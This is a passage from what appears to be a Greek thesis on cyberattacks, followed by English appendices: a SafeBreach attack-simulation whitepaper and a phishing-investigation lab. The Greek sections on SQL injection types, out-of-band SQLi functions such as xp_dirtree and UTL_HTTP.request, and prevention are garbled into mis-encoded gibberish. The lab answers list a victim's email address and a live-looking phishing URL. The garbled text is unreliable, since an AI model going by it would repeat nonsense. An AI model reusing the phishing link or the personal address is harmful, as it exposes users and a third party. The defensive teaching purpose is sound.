TopaKoAoVONoNg TakETV Pmopel va GLAAEYEL KOl Vo AvOADEL SEQOUEVO TOKETOV KOl VoL
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yepiletan ypryopa moAvmioka {ntipata diktvov. Iapéyel oe Babog mAnpopopieg makéTmv,
Omwg YN Kot Tpoopiopd devboveewv 1P, ypdvo Aqyng, mAnpogopieg TpoTOKOAAOL Kot
dAo. (Solarwinds, n.d.).

(Evotnta 5.3.B) SQL Injection

M SQL injection (SQL1) givon eumdbeia acpaleiog web mov enttpénetl oe évav elGfoAEa va
mopepPaivel oToL EPOTAUATO TOV KAVEL pio €pappoyn ot Pacn dedopévov g [Nevikd
emutpénel oe €vav €loPoréa va mpoPdaiel dedopéva mov cuvnBwg dev elvar oe Béom va
avoktnoel. Avtd pmopet vo meptlappdvel dedopéva mov aviKovv o€ GAAOVG YPNOTEC M
omoldONTOTE GAAL dedopéva oto. omoio umopel va €xel mpocsPaocn n 10w N epappoyn. Xe
TOAMEG TEPUTAOGELS, £vaG €GPOAENC UTOPEl VO TPOTOTOMGEL 1 VO OlOYPAYEL OVTA TO
Oed0oUEVO, TPOKOADVTOG EMUOVEG OAAAYEC OTO TEPLEYOUEVO 1 TN OCLUTEPLPOPE TNG
EQUPUOYNG. Z€ OPIGUEVEG TEPUTTAOGELS, EvaG €IGPOAENG pmopel va, KMUOK®OGEL o emibBeon
SQL injection yia va 0écel 6e kivouvo tov vrokeipevo server 1 GAAN vrodour| back-end 1 va
ekteréoet pa emifeomn denial-of-service (Portswigger, n.d.)

O avrtiktomog mov pumopet va €xer n SQL injection og pa emyeipnon givon extetapévos. M
emruynuévn eniBeon pmopet va £xel wg amotédeospa T U €£0Vc1000TNUEVT TPOPOAT MOTOV
YPNOTOV, TN O10ypoP] OAOKANP®V TIVAK®V Kol, GE OPIGUEVES TEPITTMGELS, O EGPOALNG VA
OTOKTNOEL OtKouMUaTo dlayeipiong o€ o faon dedouévav, to omtoio ivor OAa eEonpeTikd
emnua yu o emyeipnon. Katd tov vroloyiopd tov mbavod koéctovg evoc SQLI, givan
ONUOVTIKO va. AdBovpe vITOYN TNV OTOAELN TNG EUTIOTOGVVIG TOV TEAATMOV GE TEPIMTOON
KAOTNG TPOCOTIK®OV TANPOQOPIOV OO aplBuol tnAepdvov, dS1evbuveelg Kol ototyeia
TOTOTIKNG Kaptac. Eved ovtd 1o ddvoopo pmopel va ypnowonombel ywoo emibeon oe
omowadnmote Phon dedopévav SQL, ot iotdTonot givar o1 o cvyvoi otdyot (Imperva, n.d.f).

Ta SQL injections eumintovv cuvnbwg oe Tpelg katnyopieg, v In-band SQLi (Kiaowko),
v Inferential SQLi (TveAo) kot to Out-0f-band SQLi. Mropovue vo Ta&IVOURGOVUE TOVG
tOmovg Tov SQL injections pe Paon tig peBOS0VE TOV ¥PNGLOTOOVV Yo TV TPOSPaoT o€
dedopéva vroopiEng kot Ti¢ ThoavotTeg {nuidg tovg (Imperva, n.d.f).

In-band SQL.I

O e16Pforéag ypnoyonotel 70 {910 KovAi ETKOV®VIONS Yo VoL EEKIVIGEL TIG EMBECELS TOV Kot
VO GUYKEVIPMOEL TO. amoTeAéopatd Tov. H amhotnta kot 1 anotelespatikdtnta tov In-band
SQLi 10 xofotodv évav amd tovg mo cvvnOopuévoug tomovg emifeong SQLi (Imperva,

n.d.f).

Yndpyovv dvo maporrayés avtig e pebodov. H mpd eivar 1 SQL1 mwov Pacileron og
opdipata (Error-based SQLi), xatd tv omoio o eoPoiéog ektelel evépyeleg mov
avaykdlovv 1 Pdaon dedopévev va mapdyel unvopota ocedipotos. O swoPoréog umopet
EVOEYOUEVIS VO YPTCUOTOMGEL TAL O0€OOUEVA. TTOV TOPEYOVTIOL OO OVTO TO, UNVOLOTO
CQAALOTOG Y10 VO GUYKEVIPMOGEL TANPOPOPIEg OYETKE e TN doun ¢ Pdong dedopévav. H
devtepn etvor 1 SQLi mov Poaciletar oe évmorn (Union-based SQLi), avty n teyvikn
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expetorrevetal Tov teheoty UNION SQL, o onoiog suyymvedel moAAamAEG EVIOAES ETAOYNG
mov dnuovpyovvtal and TN Pdaon dedopévev ywo vo. AdPet pia amdkpion HTTP. Avtg n
amdvinon pumopel va mepiéyetl dedopéva mov Umopovv va a&lomombovy amd tov giPforéa
(Imperva, n.d.f).

Inferential Blind SQL injection

H Blind SQL injection eivar évag tomoc emiBeong SQL Injection mov 0¢ter otn Pdon
dedoévmv omOTEG N Wevdelg epmtoelg kot kabopilel Tnv andvinon pe Pdon v andkpion
™G epapuoyns. Avti 1 emibeon ypnowomoteitor cvoyvd Otav M epapuoyn Iotod €xet
pvOuotel va gpeaviCel yevikd unvopato cOAALOTOS, OAAL dEV EXEL HETPLAGEL TOV KOOKO
7oV givar evdiwtog oty éveon SQL (Owasp, n.d.).

Otav évag eioPoréag ekpetorredeton v SQL injection, pepikég eopés 1 epappoyn Ilotov
eueavilel pnvopata ceAARaTog amd T PAcn 0E00UEVAOV TOV TOPATOVOLVTOL OTL 1| GUVTAEN
tov epotuatog SQL eivar ecpoipévn. H Blind SQL injection givot oyeddv mavopotdOTunT e
v kavovikny SQL Injection, n povn dapopd ivor 0 TpdTo¢ avaKTnong TV dedoUEVDV Omd
™ Pdon dedopévov. Otav 1 Pdorn dedopévav dev eEdyel 0ed0UEVO TNV IGTOGEAIDN, £VOG
eloPoréag avaykaletor va kKAEWEeL dedopéva BEtovtag ot Pdomn dedopévev o oepd amd
omOTEC N YeELOElC epmToels. Avtd kabiotd v ekpetdAievon g evmabeiog SQL Injection
o dOGKOAN, aAAd Oy advvarn (Owasp, n.d.).

Ou Blind SQL injections PBacilovior otnv amdkpion Kol T TPOTLTO, GLUTEPLPOPAS TOL
OlKOUIOTN, EMOUEVOG eivarl cuVHB®G O apyn otV EKTEAECT] TOVG, OAAG pmopel va sivat
e&ioov emPrapeic (Imperva, n.d.f).

Ot Blind SQL injections pmopovv va ta&tvounfodv oe dvo kotnyopieg otn Boolean kot otnv
Time-based. Xtn Boolean, o gicfoAréac otélvel éva gepdtnua SQL ot Pdon dedouévmv,
tovtog amd ™V eQUPUOYN VO EMGTPEYEL £vo amoTEAEGHA. To amotéhespa Oo dlapépet
aviAloyo pE TO oV TO ep@TNUO €lval aAnBéc M yevdés. Me Pdon to oamotéAecua, ot
mAnpogopieg eviog g andxpione HTTP Ba tporomomBoidv 1 Ba mapapeivovv apetdfAantec.
O e1oPoAréag umopel 6T GLVEKEW VO, SWOTICTMOEL EAV TO UAVLUO OMpovpynce aAnbéc M
yevdéc amotédeoua (Imperva, n.d.f).

Ocov apopd tnv Time-based, o ei6Poréac otédvel éva epotua SQL ot Bdon dedopévov,
10 omoio Kavel T Pdom dedopévav va mepévet (Yo pio tepiodo o€ dEVTEPOAENTA) TPOTOV
pmopécel vo avtopacel. O eiwoPoréac pmopet va ol amd 1o xpodvo mov ypetdleTon n Pdon
dedopévev Yoo vo amovinoel, €dv éva epotnuo eivar aAnbéc M yevdéc. Me PBaon to
amotéhecpo, po andkpion HTTP Bo dnpovpynBel apéomg n petd amd po mepiodo
avapovic. O eioPoréoc pmopel €161 vo SOMOTAOGEL €0V TO UNVLLO TIOL YPNCYOToince
eméotpeye aAnBég N wevdés, ympic vo Paciletor oe dedopéva and 1 PAcn dedopéEvmv
(Imperva, n.d.f).

Out-of-band SQL injection (OOB SQL.)
Out-of-band SQL injection givan évag cvykekpyévog tomog SQL injection. O dpog out-0f-

band onpaivel 611 0 e6Pforéag dev AouPdaver amdvinon omd TV €QPAPUOYT] TOL JEXETOAL
emiBeomn 610 1010 KoVl emcotvaviog, oAAd avtiBeta pumopel vo avoyKAGEL TV EQAPLOYT| VO
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oteilel dedopéva og €va amopakpuoUévo Telkd onueio mov elEyyxel. Avtn 1 emiBeon etvan
duvarty poévo €6V 0 SOKOUGTIG TOV XPTOLUOTOLEITE £XEL EVIOAEG TTOV EVEPYOTOIOVV OLTHLOTOL
DNS 7 HTTP. Qo1600, 0vt6 cuppaivel pe 6Aovg toug dnpoeireic dakopuotég SQL (Invicti,
n.d).

O eoPoréag pumopel vo TPAYUOTOTOWOEL VTV T HOopeN €miBeong Hovo OTav OPIGUEVECS
dVVATOHTNTEG Elval EVEPYOTONUEVEG GTOV O10KOMGTH PAoNG OESOUEVMV TTOV YPTCULOTTOLEITOL
and Vv gpappoyn Ilotov. Avti n popen| enibeong ypnoylomoteiton Kupimg MG EVOAAAKTIKN
Aoon o1ig teyvikég in-band ko inferential SQLi (Imperva, n.d.f).

Ye obOykpon pe 1o In-Band xou to Blind SQL Injection, to OOB SQL injection e&dryet
dedopéva pécw e&epydpevov KavaAlon, mov pmopel vo givar tpotokoAlo DNS 1 HTTP. H
wKavoTnTa €vOg cvoTNUOTOG Pacong dedopévav vo exkivel va eepyduevo aitnua DNS 7
HTTP pmopet va ypelaotel va Bacileton otn dwbéoun Aettovpyio. H cuvapnon pmopel va
elvan glte ovvdptnon Aertovpyiog apyeiov (v mapaderypa: load file(), master..xp dirtree)
elte  dmuovpyie  ovvdptmong ovvdeong (Yo mopddetypo: DBMS LDAP.INIT,
UTL_HTTP.request) (How, 2019).

IMa v expetdAdevon g OOB SQL injection, o1 6ToYgLUEVOL O10KOUIGTEG 16TOV Ko fAong
dedopévmv TPEMEL vo, TANPOVV TIG akdAovOeg Tpelg mpobmobioels. [Ipdtn mpovimdOeon etvan
N €Mewyn emkLP®oNG 16000V o epoppoyn web. H devtepn amotedel 10 mepdiAiov
OIKTOOV, IOV EMITPENEL GTOV GTOYEVIEVO dlakopIoTn Pdong dedopévmv va ekkivel eEgpyopeva
ormuota (eite DNS eite HTTP) o610 K0wvd ywpic mepropiopd tov mepluétpov ac@areiog.
Téhoc, To emopKn OKOUOUOTO YO TNV €KTEAECT] TNG OMOPOITNTNG A€ltovpyiog Yoo TV
ekkivnon eEepyouevov artnudtov (How, 2019).

(Evotnta 5.3.1") ITpoAnwn xau petpraopog SQLI

Ymhpyovv opKeETOl OMOTEAEGUATIKOL TPOTOL Y100 VO ONMOTPEYETE TNV MPAYUATOTOINGN
emBéoewv SQLI, kabmg kot mpootacio amd awtég, eav copPovv (Imperva, n.d.f).

O uoévog olyovpog tpdmog yo v amotpony| embécewv SQL Injection eivar 1 emkdpwon
€16000V  KOL  TO  TOPUUETPOTOUUEVO  EPOTNUOTO,  Svpmeprapfovopévav  tov
TPOETOAGHEVOY ONADGE®V. O KOIKOG €POPUOYNG OV TPEMEL TOTE VO YPNGUYOTOLEl
amevBeiog v €i60060. O TPOYPAUUATIOTHG TPETEL VO ATOAVUOIVEL OAEG TIG E10AYMYES, OXL
povo 1 e1woddovg web form, Omwg @Opueg ocvvoeons. Ilpémer va apapebovv mbava
KakOBovia ototyela kmOwKa, OTwg Lepovoueva siloaymykd. Eivar eniong koAn wWwéa va givan
OTEVEPYOTONEVN 1] OPATOTNTA TOV GOOAUATOV TNG BAGNS 0£00UEVOV GTOVG 16TOTOTTOVG. Ta
oQAApaTa BAcng dedoUEVOV Uopov va ypnotpornombovv pe to SQL Injection ywo tn Aqyn
TANPOQOPIOV GYETIKG L T Pdon dedouévav cag (Acunetix, n.d.)

H emucdpwon eiopodv Oa mpénet mavta va Bewpeitan BEATiom mpaktiky. H mpaypatikdtra
etvat 011, 6T TEPIGGOTEPES MEPUTTAGELS, ATANL OEV etvar EPIKTO va yaptoypapnBodv OAeC ot
VOUYLEG Kol TTOPAVOLEG EIGPOES, TOLAAYITTOV OYL XOPIS v TPOKANO0VV TOAAE WeVdMS BeTIKA
OTOTEAEGLLOTO, TO OTTOT0L TOPEUPAIVOVY GTIV EUTEPIN YPNOTN KOl GTN AEITOVPYIKOTNTA HLOG
epappoyns. o 1o AOyo oawtd, éva telyog mpootaciag epappoywmv 1otov (WAF)
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ypnowonoteitor cuvnBwg Yoo o ektpdpiopa tov SQLI, kabmdg Kot GAA®V S100IKTLOKOV
arnei@v (Imperva, n.d.f).

Edv avakaidyete éva Bépa sumdBeiog SQL Injection, yio Tapddeypo YpNGILOTOIDVTOG HLL0
olpmon, evoéyeton va unv pmopeite va 1o dopbwcete apéows. o mapdderypa, n evndadeio
umopet vo  PplokeTor 6e  avoltd KOOWKO. X TETOEC TEPUITMOOEL, UTOPEiTe va
YPNOYOTOMGETE £VOL TELYOG TPOGTAGING EPUPUOYDV 1GTOV Y10, VO, ATTOAV LAVETE TPOCOPIVA TOL
otoyeia 16660V oag (Acunetix, n.d.)

[Ma 10 Adyo awto, éva telyog mpootaciag epapuoyadv 16tod (WAF) ypnoipomoteitor cuvinbmg
vy to PuAtpdpiopa tov SQLI, kabmg kol dAlwv dwdiktvokdv anslodv. o va yiver avto,
éva. WAF Baoiletal cuvnBmg o€ pio peydin Kot GuveX®S EVILEP®UEVT] MoTa e TYOAACTIKA
KOTOOKEVUGUEVES VITOYPAPES TOV TOV EMTPETOVY Vo e&adeipel KakofovAia epotinata SQL.
Yuvilmg, pia TETol AloTO TEPLEYEL VTTOYPAPES Y10 TV OVTILETMOMICT GUYKEKPIUEVAOV POPEDV
emifeong Kot 010pODVETAL TAKTIKA Y10 VO EIGAYEL KAVOVES OTOKAEIGHOV Y10, TPOTE OMLELD TOV
avakoAveOnkav mpoceata. Ta oOyyxpova telyn mpootaciog epoapuoydv web cuyva
EVOOUOTOVOVTOL ETioNG HE GAAEG ADoels acpaieiog. Amo avtd, Eva WAF umopel va AdPet
npocbeteg mANpoPopiec mov awEAvoVY TEPAITEP® TIG duVATOTNTES acPaAeiog Tov (Imperva,

n.d.f).

H mpdinyn tov tpotdv onueiov tov SQL Injection dev givor edkoAn. Ot cuykeKplUEVEG
TEYVIKES TPONYN G e&aptdvion and tov TOmo ¢ evmdbelag SQLL, amd ) pnyovr Bdong
oedopévov SQL kot omd T YADOGGO TPOYPUUUATIGHOY. Q6TOGO, LIAPYOVV OPIGUEVEG
YEVIKEG OTPATNYIKEG OPYEG OV TPEMEL VO, OKOAOVONGETE Yo VO S1OTNPNCETE TNV EPAPLOYT
web oag acpain (Acunetix, n.d.)

IMa va drutnpnoete v gpappoyn Iotod aceair], 6A01 OGO EUTAEKOVTOL GTI) ONLOVPYIN TNG
epapuoyns lotov mpénet va yvopilovv toug Kivdvvoug mov oyetilovron pe ta SQL Injections.
Oo Tpémel vo TaPEYETE KATAAANAN EKTOIOEVOT ACPAAELNG GE OAOVE TOVS TPOYPOUUUOTIOTES,
10 mpoownmikd QA, tovg DevOps ot tovg SysAdmins. EmumAéov, 6o mpémer va
avtipetonilovpe OAeg TIC TANpoeopieg ypnotn ¢ un afdmoteg. Onolndnmote €i6000¢
XPNOTN 7oV Ypnowomoteiton o€ éva gpotnuo SQL ewodyer tov kivovvo pag SQLIL
Avtipetonilovpe to dedopéva amd eTaANOELUEVOLG 1)/Kal EGOTEPIKOVS YPNOTES LE TOV 1010
pomo oV avtinetonilete ta dnudoia dedouévo (Acunetix, n.d.)

EmmpocBétwc, dev piltpdpovpe ta ototyeio Tomv xpnotadv pe Baon tig povpeg Aotec. ‘Evag
¢€umvog eoPoréag Ba Ppet oxedov mhvto £vav TPOTO VO TOPAKAUYEL piot povpn AdoTa.
Enopévac, edv elvar duvatdv, mdvta vo emaAndevovpe Kot vor QILTPAPOvUE To oToL el TMV
YPNOTAOV YPNOUOTOIOVTOS LOVO avotnpég Aoteg emtpenopevav. I'vopilovpe, exiong, 6Tt ot
TOAUOTEPEG TEYVOLOYIEG QVATTVLENG 16TOV dev dlabéTovv mpootacio SQLI. Xpnoiponowovye
mv o mpdseatn €kd0oT TOL TEPPAAAOVTOS Kot TNG YAMGGOS avamTTuéEng Kot Tig o
TpoOcEUTEG TEXVOAOYiEG MOV oyetilovtan pe avtd 10 mepPdArov/yAdooa. T mapdaderypa,
otnv PHP ypnowomomorte PDO avti yio MySQLi (Acunetix, n.d.)

Ye OLVEKELD e TO TOPATAV®, KOAO Ba givar va punv mtpocmafncovpe v ONUIOVPYCOVE
npootacio SQLi and v apyn. Ot meprocodTeEpes cOYYpOVES TEXVOAOYIES AVATTLENG UTOPOVV
VO GOG TPOCPEPOLY UNYOVICHOVS Tpootaciog amd 10 SQLiL [N mapddetypo, pmopodue va
YPNOYLOTOU|COVE TOPUUETPOTOUEVO EPOTHHATO 1| amoOnkevpéveg dradkacies. Télog, To
SQL Injection pmopei va ecayfel omd TOVG TPOYPAUUOTIOTEG OOG 1| HECH €EMTEPIKAOV
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BProONKOV, evotnTm, N Kot AOYICUIKOV. B0 TPEMEL VO COPMOVETE TAKTIKA TIG EQPOUPUOYEG
Ioto0 ypnoomoidviog Evav capot evradeiag Iotod (Acunetix, n.d.)

KE®AAAIO 6 Xupnepaopata

Ta ocevipla embBéoemv Kat ot TeEXVIKES KUPEPVOAGPALEINS GE dIKTLO KOPUOV ElYOV MG GTOYO
TNV HEAETN TOV TEPUTEP® TLTTMOV KAKOBOLA®Y AOYIGHIK®V KOODG Kot TOLS TUTTOVG TMV threat
actor oLV TPAYUATOTOWLVV TIS avtioToryes emBéoels. Emumiéov otdy0g amoteAovoe ko
HEAETN TV avTioTOLY®V 0AYOPIOU®V OAAG Kot 1] vAADOT] KATOIWV TEPUTTOCEWDY TOV
apopovv drapopes embéoelg o dikTva.

Me v avaivon tov TOHTeV ToV KOKOBOLA®V AOYIGHUK®V E1YE MG AVTIKPIOUA TNV KAAVTEPT
KATOVONGN TOV Op®V 0ALL KOl TOV TOPASELYUATMOV TOV OVOPEPOVTOL, TOV aAYOpiOU®Y TOoV
napatiBevion kabMOS Kol TOV cEVAPIOY TOV avaAVOVTOL 6TO TeEAEVTAio Ke@aiato. H avéivon
TOV OTENDV, TOV TPOTOV CNUEI®V KOl TOV KIVOUVOV givol £vag TpOSPOOG TOL Vo Yivel
AvVTIANTTOG 0 TPOTOC e Tov omoio ot threat actors evtomilovv to mapomdve Oépata otnv
ACPAAELD KOl KATAPEPVOLV VO OAOKANPDGOLY EMTUYNUEVE 1] 11|, Lol ETLOECT] TPOG TOVG
o1dY0VG OV £Yovv BECEL.

Kot enéktaon g mopandve avdivong, yivetatr ovapopd ota £idn twv threat actor pe
OKOTO TO JLYOPICHO Kot TV ETOECEDV ALY KOl TV TOKTIKOV TOL 0KOAoVOEL 1] KdOe
KaTnyopio yo TV KaAHTEPT KATOVOUT TOV EMBEGEMV AALL KOl TOV TPOTO OVTILETMOTIONG
T0VC. Me TV ava@opd Tov £yve 610 40 KEQPAANLO GE SLAPOPOVS OAYOPIBOVE £Yve e GKOTO
TNV EKTEVEGTEPN OVAALON KATOI®V POCIKOV TOHT®V KoKOPOVAOV AOYIGUIKOV Kot £XOVV
avapepBel apKETA KOUUATIO KOOTKMV Y10 TNV KAAVTEPN KATAVONON Kol LeAETn Toug. TEAOG,
(QTAVOVTOG OTO TEAEVTOLO KEPAAOLO, OAOKANPMVETOL 1] EPYACia LE TOPAdEYIATO EMOECEDV
070 TPOooTaTEVOLEVO TTEPIBAALOV £vOG Virtual machine, Yo avaAvon TV TEPUTTOGE®V,
EKTEVEGTEPT] KOl KOADTEPN AVTIANYN TOV TPOPANUOTOG GAAG KoL TNV EKQOVOT] TOV
amoteléopatog pog enifeons. EmmAéov, evtomilovpe ta mpofANHato 6TV ac@AAELD Kot
dtvovtal TpOTOl EVIOMIGHOD, HETPLOGHOD KOl OAVTILETMTIONG TMOV AVIIGTOTYWV TPOPANUAT®V.

SOUTEPAGLATIKA, | OAN avéAvon £YVE e GKOTO TV KOADTEPT KATAVON OGN TV
npofAnpdtev mov avtipetonifoviot 6to BEpa g acPdAElng aAAd Kol LE TO10VG TPOTOVGS OL
threat actors avtiloppdavovtor kot evtomiCovv o TPoPANUATA AVTA KOl KATAPEPVOLV VoL
oloxAnpacovv 11§ emBécelg tovc. H mapovoa mruylakn epyacia, Bo pmopovoe vo dMGEL T0
Evavopa Yo TepETaipm £pevva 6To BENa TG AoPALELNG AALA Kot 6TN LeEAETN TV threat
actors avtictoyo.
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NMAPAPTHMATA

ITAPAPTHMA A - STUDY CASES

Lab 1 - WHITE HAT HACKERS

What's the Problem?

CISOs and their security teams have spent considerable amounts of time and money
implementing best-of-breed technologies. Yet, attackers have never been more successful,
and data has never been more at risk. Why? The real reason — one that is certainly difficult to
admit — is that defenses have become so extraordinarily complex that security teams struggle
to sort out the important issues from the noise. Enterprises typically deploy between 50 and
75 different security products on average, making it extremely difficult to understand whether
security controls can stand up to attack. Often the first time security teams know that
defenses have failed is after actual breach has occurred. To break this cycle of attack, security
teams can no longer rely on best effort security. Rather, security needs to be validated
continuously to ensure that controllers are working as expected, alerts are firing when
needed, and teams are prepared to provide resilience and response when a real attack occurs.
This technical whitepaper provides an overview of breach and attack simulation, and includes
answers to frequently asked questions about how simulations actually work to challenge
security controls.

Validating Security
TRADITIONAL METHODS

Security has always been a part of system architecture: Early LANs were 100% segregated
from outside traffic, every host offered at least password-protected accounts, and access was
typically only granted to trusted employees or users. However, as interconnectedness drove
business innovation, risk increased exponentially. Security started to move away from “best
effort” into something that needed to be validated, quantified, and communicated — at least to
internal teams. During the last 10 years security validation has evolved slowly:

e Penetration testing: Whether due to regulation or just security conscious teams, pen
testing has a good goal, but is too shallow and infrequent to truly prove security
effectiveness.
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e Vulnerability scanning: Much easier than pen testing, thanks to automation,
scanning is a good practice, but provides an even more basic view of security
posture, based on open ports, missing patches, and a lot of supposition.

e Red teaming: Companies lucky enough to have Red Teams can be sure that they
have creative, talented “internal attackers” that can create new attacks, and use their
in-depth knowledge of internal controls and policies to find where holes exist,
hopefully before they reach production.

Each of these tools and techniques offer value, but as evidenced by the ever-increasing rate of
breach, attackers still have the upper hand. These validation methods can’t scale to cover the
sprawl of today’s modern production environments, are too often influenced by human
biases, and are either too shallow, or take too much time to truly validate security across the
entire Kill chain.

ENTER BREACH AND ATTACK SIMULATION

Security is a constantly moving target. Every day brings new risk, both external and internal.
Externally, new attacks (and new attackers) are always emerging. Internally, security updates,
patches, and configuration changes introduce the risk of human error or oversight.

Thanks to automation, Breach and Attack Simulation works continuously, and at incredible
scale to simulate attackers and identify weaknesses in real time. This new approach enables
data-driven security planning, minimizes exposure, and proactively identifies both where
security is working, and where it needs to be bolstered.

BREACH AND ATTACK SIMULATION OVERVIEW

Breach
and Attack
Simulation

Remediate

Initiate automation for immediate fixes
Send to orchestration/ticketing for ops
follow-ups

Cloud, network, endpoint
Infiltration, Lateral Movement, Exfiltration

Prioritize Results
Identify and Visualize where attacks are succesful
Filter and Target critical issues for actionable results

Much more than just automating pen testing or red teaming, Breach and Attack Simulation
should not only identify weaknesses, but also provide the insights, tools, and integrations to
actually remediate findings.
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Simulate attacks: Unleash real attacks on production environments just like attackers
do, but without harm or impact, to identify where defenses are working, and where
they are failing.

Prioritize findings: Quickly identify the right areas to focus on to stop the attacks
most critical to your business.

Remediate security gaps: Provide a seamless integration with operations teams or
automation solutions to update configuration or otherwise block attacks, to
incrementally improve overall security posture and effectiveness against threats.

SafeBreach Architecture

The SafeBreach Platform is comprised of the following components:

Management server: The centralized management server incorporates the complete
Hacker’s PlaybookTM of breach methods, and manages a distributed network of
simulators. Capabilities include the ability to manage all aspects of simulator
configuration, review simulations that have been successful or blocked, and provide
the ability to filter, prioritize, and analyze all findings. The management server can be
deployed on-premises or in an enterprise cloud infrastructure.

Simulators: The SafeBreach simulators perform the role of the attacker, simulating
attacks across the cyber kill chain. Three different types of simulators are supported:

1. Network simulators: Network simulators are deployed as virtual machines
within existing network segments. These simulators send real traffic, just as
attackers do, to verify whether or not specific, granular breach methods will be
effective against existing network security controllers and configuration.

2. Endpoint simulators: Endpoint simulators validate the effectiveness of
endpoint security against various attacks and exploits. SafeBreach supports
various Windows, Mac OS X and Linux operating systems and distributions
with simple, lightweight agents for end user or server systems.

3. Cloud simulators: These are network simulators that act as infiltration and
exfiltration points, located in the enterprise cloud infrastructure. Cloud
simulators execute only network breach methods.

Simulations Explained

SIMULATING THE KILL CHAIN

The SafeBreach Breach and Attack Simulation Platform simulates hacker techniques to
validate security. These simulations are, in actuality, real attack methods - made safe because
they are only executed against SafeBreach simulators, and never use real production data.
Instead, SafeBreach simulates data — such as credit cards, social security numbers,
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passwords, and much more. Simulations provide a complete kill chain perspective, and thus
incorporate infiltration, lateral movement and exfiltration breach methods.

A small subset of simulations in each phase is below:

e Infiltration phase
* Simulated malware drops
* Packed executables
* Registry changes

e Lateral-movement phase
» Simulating brute-force attacks
* Remote code execution
* Pass-the-hash

e Exfiltration phase
* Sending clear sample data over available ports
* Encrypting data to bypass security
* Trickling data within packet headers

EXECUTING ATTACKS SAFELY

To validate network and cloud security, breach methods are executed between two
simulators. Imagine a very simple example of a next-generation firewall segmenting two
parts of an organization’s environment — production and corporate. One simulator is placed in
production, the other in corporate. SafeBreach will validate the effectiveness of that next-
generation firewall by attempting to transfer, for example, a malicious payload from one
simulator to the other. It’s completely safe, but the NGFW should trigger appropriate threat
prevention policies.

Note: Production data is never used. Instead, SafeBreach simulates the types of data
relevant to the phase and type of attack used. Credit card data, customer record data,
source code, hashed passwords and more all simulated by SafeBreach, so customers
can truly validate controller effectiveness without ever putting actual data at risk.

Validating endpoint/host-based simulators includes network actions, as well as local methods
such as dropping malware to disk, changing registry settings, or writing to the file system.
Again, simulations are safe, because malware isn’t executed, or if performing an action like
changing the registry, the actions are immediately reversed when simulations are complete.
Endpoint security solution should stop these actions or trigger detection alerts.

SafeBreach also simulates attacker exploits. For example, the platform includes Meltdown
simulations that read kernel memory, fileless Mimikatz injection using Powershell,
WannaCry exploits (Eternal Blue), and remote exploitation of Apache Struts server
vulnerabilities. These exploits are kept safe by sending malicious packets that the real exploit
would have sent, but containing the impact to within simulators, not allowing them to
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propagate to actual in-production devices or applications. In these cases, security devices
such as IPS or IDS will recognize the exploitation methods as malicious, but no harm has
come to the environment.

VALIDITY OF THE SIMULATIONS

A comprehensive set of breach methods spanning cloud, network and host-based methods are
available. These methods are developed by SafeBreach Labs -- an elite team of offensive
security researchers headed by Amit Klein, VP Security Research and Itzik Kotler, CTO and
co-founder, SafeBreach. SafeBreach Labs incorporates expertise in red team security with
forensics, threat research and national cyber security, and focuses on the following:

Analysis of attacks in the wild: We research attacks in the wild and break them into
individual breach methods. This process is automated for efficiency, allowing us to
react very quickly to attacks in the headlines.

Active research: In addition to existing attacks and breach methods, our team also
proactively conducts research to identify new vulnerabilities or attacks. This active
research is shared with the security community in conferences such as Hack in the
Box,Black Hat, BSides etc.

Threat intelligence: Enterprises that already have a subscription to threat intelligence
feeds supported by SafeBreach can choose to transform the indicators of compromise
(1oC) to breach methods. This enables I0Cs that may impact.

Mitre ATT&CK collaboration: The SafeBreach Labs works closely with Mitre on
new attack techniques. Attacker techniques that have been identified within the Mitre
ATT&CK framework are designated appropriately within the SafeBreach playbook
for security teams that are aligned to this adversary model.

Use Cases

Breach and Attack Slmulation from SafeBreach helps our customers do much more than
simply find security weaknesses. By simulating the hacker, prioritizing findings, and taking
immediate action, organizations can:
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» Get more from existing security

Security controls are incredibly flexible, but are often deployed with generic “one-
size-fits-all” policy recommended by vendors, or configured once and never revisited.
Breach and Attack Simulation safely simulates thousands of attacks to see which
policies are effective, which need to be updated, and where holes exist. By optimizing
config and ensuring controls work in concert, security teams can get the most from
existing security investment.



» Minimize security exposure
Enterprise environments are far from static — constantly updated to meet the needs of
the business, and to stop new and emerging attacks. However, all this configuration
often leads to simple oversight, or human error, that can introduce risk. Thanks to
continuous validation, Breach and Attack Simulation identifies new exposure in
hours, so security teams can minimize exposure time and prove the effectiveness of
new configuration.

» Prepare for audits
Annual penetration test and compliance audits bring stress and risk for CISOs and
security teams. These tests often result in a list of findings that’s too long for
operations to address, and is only representative of a small window of time before
changes to the environment make it obsolete. Breach and Attack Simulation runs
continuously, to find risks well before audits, and smooth the process of maintaining
compliance.

» Test alerting and action plans
Every security team knows that defenses are build from people, processes, and
technology, but often the technology receives all the focus. By simulating attacks,
SOC and MSSP teams can perform breach scenario training before a real attack
occurs, to validate action and alerting plans.

» Rationalize security investment
Security investment is too often a “gut feel” based measure, and too often executive
teams only start deep security investment after breach has occurred. Breach and
Attack Simulation provides real security data, to justify further security investment,
and to address the growing issue of proving security against headline attacks.

With Breach and Attack Simulation working continuously, security teams will have the data
they need to improve and maintain security, without guesswork, or reliance on vendor claims.
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Lab 2 - GRAY HAT HACKERS

Brief overview of what phishing is?

Phishing is a social engineering security attack that attempts to trick targets into giving out
sensitive/valuable information. Mainly an attacker, masquerading as a trusted entity, baits a
victim into opening an email, or any social media interaction. The recipient is then tricked
into clicking a malicious link, which can lead to the installation of malware.

Given Scenario

A user has received a phishing email and forwarded it to the SOC. Can you investigate the
email and attachment to collect useful artifacts?

In order to solve this challenge, a zip file would be available to download, named “Phishing
Email”, Password to access this zip is given in the picture below.

Download File

E Phishing Email Password

Quick Tip - | recommend you to install Mozilla Thunderbird in whatever OS
(Windows/Linux) and then open this .eml file with this application.

Tools/Utility used:

1. Mozilla Thunderbird
2. Text Editor

3. URL2PNG

4. whois.domaintools.com

Q. Who is the primary recipient of this email?

A. kinnar1975@yahoo.co.uk

Q. What is the subject of this email?
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A. Undeliverable: Website contact form submission

Q. What is the date and time the email was sent?
A. 18 March 2021 04:14

Q. What is the Originating IP?
A. 103.9.171.10 (Open the .eml file in text editor)

Q. Perform reverse DNS on this IP address, what is the resolved host?

A. c5s2—1e-syd.hosting-services.net.au (Search for this
whois.domaintools.com)

Q. What is the name of the attached file?

A. Website contact form submission.eml

Q. What is the URL found inside the attachment?

A.https://35000usdperwwekpodf.blogspot.sg?p=9swghttps://35000usdperwwekpodf.b

logspot.co.il?0=0hnd

Q. What service is this webpage hosted on?

A. blogspot

Q. Using URL2PNG, what is the heading text on this page? (Doesn’t matter if the page has

been taken down!)

